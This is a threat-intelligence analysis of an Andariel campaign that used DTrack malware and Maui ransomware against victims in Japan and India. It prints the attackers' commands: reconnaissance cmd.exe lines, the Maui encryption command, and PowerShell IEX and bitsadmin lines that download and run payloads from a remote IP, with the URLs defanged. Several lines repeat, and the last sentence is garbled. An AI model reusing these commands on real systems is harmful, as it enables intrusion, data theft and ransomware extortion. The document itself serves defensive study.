Once this malware is spawned, it executes an embedded shellcode, loading a final Windows in-memory payload.
This malware is responsible for collecting victim information and sending it to the remote host.
Its functionality is almost identical to previous DTrack modules.
This malware collects information about the infected host via Windows commands.
The in-memory payload executes the following Windows commands:
“C:Windowssystem32cmd.exe” /c ipconfig /all > “%Temp%tempres.ip”
“C:Windowssystem32cmd.exe” /c tasklist > “%Temp%temptask.list”
“C:Windowssystem32cmd.exe” /c netstat -naop tcp > “%Temp%tempnetstat.res”
“C:Windowssystem32cmd.exe” /c netsh interface show interface >
“%Temp%tempnetsh.res”
“C:Windowssystem32cmd.exe” /c ping -n 1 8.8.8.8 > “%Temp%tempping.res”
“C:Windowssystem32cmd.exe” /c ipconfig /all > “%Temp%tempres.ip”
“C:Windowssystem32cmd.exe” /c tasklist > “%Temp%temptask.list”
“C:Windowssystem32cmd.exe” /c netstat -naop tcp > “%Temp%tempnetstat.res”
“C:Windowssystem32cmd.exe” /c netsh interface show interface >
“%Temp%tempnetsh.res”
“C:Windowssystem32cmd.exe” /c ping -n 1 8.8.8.8 > “%Temp%tempping.res”
In addition, the malware collects browser history data, saving it to the browser.his file, just as the older variant did.
Compared to the old version of DTrack, the new information-gathering module sends stolen information to a remote server over HTTP, and this variant copies stolen files to the remote host on the same network.
The Maui ransomware was detected ten hours after the DTrack variant on the same server.
Multiple run parameters exist for the Maui ransomware.
In this incident, analysts observe the actors using “-t” and “- x” arguments, along with a specific drive path to encrypt:
C:WindowsTemptempbinMaui.exe -t 8 -x E:
C:WindowsTemptempbinMaui.exe -t 8 -x E:
In this case, “-t 8” sets the ransomware thread count to eight, “-x” commands the malware to “self melt”, and the “E:” value sets the path (the entire drive in this case) to be encrypted.
The ransomware functionality is the same as described in the Stairwell report.
The malware created two key files to implement file encryption.
Pivoting on the exfiltration information to the adjacent hosts, analysts discovered additional victims in India.
In all likelihood, Andariel stole elevated credentials to deploy this malware within the target organization, but this speculation is based on paths and other artifacts.
The primary objective of this malware is the same as in the case of the aforementioned victim in Japan, using different login credentials and local IP address to exfiltrate data.
This DTrack module is very similar to the EventTracKer module of DTrack, which was previously reported to Threat Intelligence customers.
In one victim system, analysts discovered that a well-known simple HTTP server, HFS7, had deployed the malware above.
After an unknown exploit was used on a vulnerable HFS server and “whoami” was executed, the Powershell command below was executed to fetch an additional Powershell script from the remote server:
C:windowssystem32WindowsPowershellv1.0powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘hxxp://145.232.235[.]222/usr/users/mini.ps1’)
C:windowssystem32WindowsPowershellv1.0powershell.exe IEX (New-Object Net.WebClient).DownloadString(‘hxxp://145.232.235[.]222/usr/users/mini.ps1’)
The mini.ps1 script is responsible for downloading and executing the above DTrack malware via bitsadmin.exe:
bitsadmin.exe /transfer myJob /download /priority high
“hxxp://145.232.235[.]222/usr/users/dwem.cert” “%appdata%microsoftmmcdwem.cert”
bitsadmin.exe /transfer myJob /download /priority high
“hxxp://145.232.235[.]222/usr/users/dwem.cert” “%appdata%microsoftmmcdwem.cert”
The other victim operated a vulnerable Weblogic server.
According to telemetry, the actor compromised this server via the CVE-2017-10271 exploit.
Analysts saw Andariel abuse identical exploits and compromise WebLogic servers in mid-2019, and previously reported this activity to Threat Intelligence customers.
In this case, the exploited server executes the Powershell command to fetch the additional script.
The fetched script is capable of downloading a Powershell script from the server analysts mentioned above (hxxp://145.232.235[.]222/usr/users/mini.ps1).er analysts mentioned above (hxxp://145.232.235[.]222/usr/users/mini.ps1).